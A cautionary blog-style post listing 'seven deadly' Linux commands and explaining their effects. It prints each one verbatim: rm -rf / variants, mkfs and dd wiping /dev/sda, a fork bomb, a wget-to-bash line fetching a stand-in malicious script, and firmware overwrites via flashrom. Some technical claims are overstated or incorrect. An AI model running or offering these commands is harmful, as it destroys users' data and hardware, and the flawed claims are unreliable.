Linux: The Seven Deadly Commands (and why they're bad)

As a Linux user, there's no doubt I've seen plenty of instances of people using commands that cause SERIOUS problems. Everything from deleting the root directory (and all contents within) to zeroing out all disks and/or replacing them with random data. These commands are NOT to be taken as some sort of joke. If you run them, YOU WILL DESTROY your data, and will likely make your computer unbootable, bricked, or worse.

Let's start with the obvious:

rm -rf /

rm -rf .

rm -rf *

rm -rf /* #circumvent default --preserve-root behavior

rm -rf ~

As any of us would know, running the rm command will delete files on a computer. The "-rf" parameter will (a) recursively and permanently delete an entire directory along with all contents and (b) forcibly delete without prompting. And lastly, what is being parsed as the directory to delete here? The root directory, which means ALL files, on your hard drive AND on mounted volumes, will be recursively, forcibly, and unrecoverably deleted in full. "rm -rf ." will delete the current directory the same way. So will "rm -rf *", only it will simply delete all files inside the current directory. And of course, rm -rf ~ will delete the user's home directory.

mkfs.<any file system> /dev/sda<anything>

Ever tried to run "format C:" on Windows and ended up erasing the contents of the entire drive that Windows happens to be on, rendering the entire system unbootable? This command will do the same on Linux... and with the added burden of not asking you if you're sure. You may wind up erasing the contents of an entire mounted volume, or worse, the very partition Linux is installed on.

:() { :|:& };:

This command is a fork bomb, which is essentially a denial of service attack. Basically, when executed, a fork bomb (a) creates one or two new processes and (b) uses itself as the processes' content, causing the new processes to be created an infinite number of times. This has the effect of causing the number of processes running to grow exponentially, resulting in a frozen desktop, or worse, kernel panic.

To understand what's actually going on here, the ":" in the command is actually an arbitrary name for a shell function. So the function is defined, and then, in the definition block, we see the following code:

:|:&

Essentially, this literally pipes ":", the function itself, through ":" again, creating two running ":" instances, and then disowns ":" so that each copy has a different PID. Since this is the definition block we're seeing here, those copies of ":" will in turn create running copies of themselves, which will in turn, since they all have the same definition, also create more running processes, and so on, to the point where the computer can no longer handle the number of processes being created.

ls > /dev/sda

lspci > /dev/sda

dmesg > /dev/sda

anything_with_an_output > /dev/sda

What we're seeing here is a perfect example of how some dangerous commands may pass themselves off as seemingly harmless. All these commands by themselves, whether dmesg, ls, lspci, or whatever normally only put out information. But redirect them to block devices, and you get complete shell disasters in disguise.

What happens is that the raw data, instead of being output back to the terminal, is redirected to, in this case, /dev/sda, a physical hard disk with a sensitive MBR. This has the effect of corrupting the superblock, corrupting the MBR, or worse, and rendering your system completely unrecoverable without wiping the disk clean with a new partition table and reinstalling Linux.

dd if=/dev/random of=/dev/sda

dd if=/dev/zero of=/dev/sda

Far worse than the above, these commands will actually erase the entire contents of /dev/sda (which in most cases contains the operating system) with either raw cryptographic data (in the first case) or zeros (in the latter case). This will obviously destroy all data on the device and in the latter case actually destroy all file systems, all partitions, the MBR... everything. Whether you zero out the device or random out the device, it has the same effect of erasing the entire disk and making it unrecognizable by any OS that you even try to put back on it.

wget http://some-site.com/some_malocious_script.sh | bash

NEVER download and run shell scripts that you don't know the origin of. Shell scripts, as the name implies, are the equivalent of batch files on Windows: they are files that run a bunch of commands at once. They can run all sorts of stuff: anything from zeroing out your drive (see above) to fork bombs (something like "./some_malicious_script.sh | ./some_malicious_script.sh &" in the script itself) to even viruses, worms, or Trojans that are interpreted by the shell itself. In all these cases, DO NOT ATTEMPT.

Saved the worst for last; DO NOT ATTEMPT IN THE LEAST BIT!!!

dd if=/dev/zero | flashrom -w

dd if=/dev/random | flashrom -w

This will do the computer user's worst nightmare. While most of the above commands, if you have any data backed up and any OS installation media laying around that you can install back on the disk (if it recognizes it in the case of the previous two deadly commands), can (possibly) be reverted, these examples cannot. They will brick your system at the BIOS level.

That's right. Pipe dd through flashrom, and the only place your computer will be going to is a cold, firmware-less grave. Because the BIOS is literally what allows the OS to recognize hardware in the first place! Without it, the hardware won't even function. You might as well just save up for a new motherboard, if it's replaceable at all (which in most cases, unless you built the computer yourself, it certainly isn't).